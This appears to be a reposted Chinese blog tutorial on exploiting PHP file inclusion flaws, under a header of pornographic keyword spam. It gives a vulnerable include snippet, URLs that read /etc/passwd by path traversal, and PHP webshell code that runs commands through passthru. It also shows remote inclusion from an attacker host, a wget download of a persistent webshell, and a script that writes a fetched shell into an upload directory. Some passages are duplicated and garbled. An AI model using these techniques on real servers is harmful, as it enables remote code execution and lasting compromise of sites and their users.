日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

PHP文件包含漏洞原理分析和利用方法

發布時間:2025/7/14 php 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PHP文件包含漏洞原理分析和利用方法 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
本文章簡單摘要:一、涉及到的危險函數〔include(),require()和include_once(),require_once()〕include()&&require()語句:包括并運行指定文件。這兩種結構除了在如何處理失敗之外完全一樣。include()產生一個警告而require()則導致一個致命錯誤。換句話說,如果你想在遇到丟失文件時停止處理頁面就用require()。include()就不是這樣。 一、涉及到的危險函數〔include(),require()和include_once(),require_once()〕 include()?&&?require()語句:包括并運行指定文件。 這兩種結構除了在如何處理失敗之外完全一樣。include()?產生一個警告而?require()?則導致一個致命錯誤。換句話說,如果你想在遇到丟失文件時停止處理頁面就用?require()。include()?就不是這樣,腳本會繼續運行。 如果"allow_url_fopen"在?PHP?中被激活(默認配置),也可以用?URL(通過?HTTP?或者其它支持的封裝協議)而不是本地文件來指定要被包括的文件。如果目標服務器將目標文件作為?PHP?代碼解釋,則可以用適用于?HTTP?GET?的?URL?請求字符串來向被包括的文件傳遞變量。詳細參考:http://www.phpe.net/manual/function.include.php require_once()?&&?include_once()require_once()和include_once()?語句在腳本執行期間包括并運行指定文件。此行為和?require()?語句類似,唯一區別是如果該文件中的代碼已經被包括了,則不會再次包括。適用于在腳本執行期間同一個文件有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函數重定義,變量重新賦值等問題。 詳細參考:http://www.phpe.net/manual/function.require-once.php二、為什么要包含文件 程序員寫程序的時候,不喜歡干同樣的事情,也不喜歡把同樣的代碼(比如一些公用的函數)寫幾次,于是就把需要公用的代碼寫在一個單獨的文件里面,比如?share.php,而后在其它文件進行包含調用。在php里,我們就是使用上面列舉的那幾個函數來達到這個目的的,它的工作流程:如果你想在?main.php里包含share.php,我將這樣寫include("share.php")就達到目的,然后就可以使用share.php中的函數了,像這個寫死需要包含的文件名稱的自然沒有什么問題,也不會出現漏洞,那么問題到底是出在哪里呢? 有的時候可能不能確定需要包含哪個文件,比如先來看下面這個文件index.php的代碼:CODE:?[Copy?to?clipboard]-------------------------------------------------------------------------------- if?($_GET[page])?{include?$_GET[page];}?else?{include?"home.php";} 很正常的一段PHP代碼,它是怎么運作的呢?這里面涉及到$_GET的意義,我就不打算講了(要不又能寫篇HTTP的文章了),如果你還不了解GET,POST,等,那么你需要再Google一些相關的資料好好補一補了。 上面這段代碼的使用格式可能是這樣的:http://www.520jsj.com/php/index.php?page=main.php或者http:?//www.520jsj.com/php/index.php?page=downloads.php,結合上面代碼,簡單說下怎么運作的: 1.提交上面這個URL,在index.php中就取得這個page的值($_GET[page])。2.判斷$_GET[page]是不是空,若不空(這里是main.php)就用include來包含這個文件。3.若$_GET[page]空的話就執行else,來include?home.php?這個文件。 三、為什么會產生漏洞 你也許要說,這樣很好呀,可以按照URL來動態包含文件,多么方便呀,怎么產生漏洞的呢?問題的答案是:我們不乖巧,我們總喜歡和別人不一樣,我們不會按照他的鏈接來操作,我們可能想自己寫想包含(調用)的文件,比如我們會隨便的打入下面這個URL:http:?//www.1steam.cn/php/index.php?page=hello.php。然后我們的index.php程序就傻傻按照上面我們說得步驟去執行:取page為hello.php,然后去include(hello.php),這時問題出現了,因為我們并沒有hello.php這個文件,所以它?include的時候就會報警告,類似下列信息: Quote:Warning:?include(hello.php)?[function.include]:?failed?to?open?stream:?No?such?file?or?directory?in?/vhost/wwwroot/php/index.php?on?line?3Warning:?include()?[function.include]:?Failed?opening?'hello.php'?for?inclusion?(include_path='.:')?in?/vhost/wwwroot/php/index.php?on?line?3 注意上面的那個Warning就是找不到我們指定的hello.php文件,也就是包含不到我們指定路徑的文件;而后面的警告是因為前面沒有找到指定文件,所以包含的時候就出警告了。 四、怎么利用 上面可以看到,問題出現了,那么我們怎么利用這樣的漏洞呢,利用方法其實很多,但是實質上都是差不多的,我這里說三個比較常見的利用方法: 1.包含讀出目標機上其它文件 由前面我們可以看到,由于對取得的參數page沒有過濾,于是我們可以任意指定目標主機上的其它敏感文件,例如在前面的警告中,我們可以看到暴露的絕對路徑(vhost/wwwroot/php/),那么我們就可以多次探測來包含其它文件,比如指定URL為:http://www.520jsj.com/php/index.php?page=./txt.txt可以讀出當前路徑下的txt.txt文件,也可以使用../../進行目錄跳轉(在沒過濾../的情況下);也可以直接指定絕對路徑,讀取敏感的系統文件,比如這個URL:http://www.520jsj.com/php/index.php?page=/etc/passwd,如果目標主機沒有對權限限制的很嚴格,或者啟動Apache的權限比較高,是可以讀出這個文件內容的。否則就會得到一個類似于:open_basedir?restriction?in?effect.的Warning。 2.包含可運行的PHP木馬 如果目標主機的"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改),我們就可以有更大的利用空間,我們可以指定其它URL上的一個包含PHP代碼的webshell來直接運行,比如,我先寫一段運行命令的PHP代碼(加了注釋,應該看得懂),如下保存為cmd.txt(后綴不重要,只要內容為PHP格式就可以了)。 if?(get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}?//去掉轉義字符(可去掉字符串中的反斜線字符)ini_set("max_execution_time",0);?//設定針對這個文件的執行時間,0為不限制.echo?"1.S.T"; 本文章簡單摘要://打印的返回的開始行提示信息passthru($_REQUEST["cmd"]);?//運行cmd指定的命令echo"1.S.T";//打印的返回的結束行提示信息?>以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在1.S.T之間。把這個文件保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了。 //打印的返回的開始行提示信息passthru($_REQUEST["cmd"]);?//運行cmd指定的命令echo?"1.S.T";//打印的返回的結束行提示信息?> 以上這個文件的作用就是接受cmd指定的命令,并調用passthru函數執行,把內容返回在1.S.T之間。把這個文件保存到我們主機的服務器上(可以是不支持PHP的主機),只要能通過HTTP訪問到就可以了,例如地址如下:http://www.520jsj.com/cmd.txt,然后我們就可以在那個漏洞主機上構造如下URL來利用了:http://www.520jsj.com/php/index.php?page=http://www.1ster.cn/cmd.txt?cmd=ls,其中cmd后面的就是你需要執行的命令,其它常用的命令(以*UNIX為例)如下: Quote:ll?列目錄、文件(相當于Windows下dir)pwd?查看當前絕對路徑id?whoami?查看當前用戶wget?下載指定URL的文件 等等其它的,你主機去BAIDU找吧,就不列舉了。上面的方法就是得到一個Webshell了(雖然這個PHP文件不在目標機上,但是它確實是個Webshell,不是么?呵呵) 3.包含一個創建文件的PHP文件 也許有的人認為還是得到目標機上的一個真實的Webshell比較放心,萬一哪天人家發現這兒個包含漏洞修補了,我們就不能再遠程包含得到上面的那個"偽"Webshell了,不是么?可以理解這個心態,我們繼續。得到一個真實的Webshell,我們也說兩種常見的方法: 1)使用wget之類的命令來下載一個Webshell 這個比較簡單,也很常用,在上面我們得到的那個偽webshell中,我們可以執行命令,那么我們也可以調用系統中的一個很厲害的角色,wget,這個命令的強大你可以google下,參數一大堆,絕對搞暈你,呵呵,我們不需要那么復雜,我們就使用一個-O(--output-document=FILE,把文檔寫到FILE文件中)?就可以了,呵呵。 前提是你在按照前面的步驟放一個包含PHP代碼的Webshell在一個可以通過HTTP或者FTP等可以訪問的地方,比如:http://www.520jsj.com/1stphp.txt,這個文件里寫的就是Webshell的內容。然后我們在前面得到的偽Webshell中執行如下的URL:http://www.520jsj.com/php/index.php?page=http://www.520jsj.com/cmd.txt?cmd=wgethttp://www.1ster.cn/1stphp.txt?-O?1stphp.php,如果當前目錄可寫,就能得到一個叫做1stphp.php的Webshell了;如果當前目錄不可寫,還需要想其它的辦法。 2)使用文件來創建 前面的wget可能會遇到當前目錄不能寫的情況;或者目標主機禁用了(或者沒裝)這個命令,我們又需要變通一下了,我們可以結合前面的包含文件漏洞來包含一個創建文件(寫文件)的PHP腳本,內容如下: $f=file_get_contents("http://www.520jsj.com/1stphp.txt";);?//打開指定路徑的文件流$ff=fopen("./upload/1st.php","a");?//尋找一個可以的目錄,創建一個文件fwrite?($ff,$f);??//把前面打開的文件流寫到創建的文件里fclose($ff);??//關閉保存文件?> 還是寫入我們上面用wget下載的那個php文件,但是我們改進了方法,用PHP腳本來實現,可以使用上面的cmd.php?cmd=ll查找可以寫的目錄,比如這里的upload,然后把文件創建在這個目錄下:./upload/1st.php。然后就得到我們的Webshell了。 ?

轉載于:https://www.cnblogs.com/gxldan/archive/2011/10/21/4066735.html

總結

以上是生活随笔為你收集整理的PHP文件包含漏洞原理分析和利用方法的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。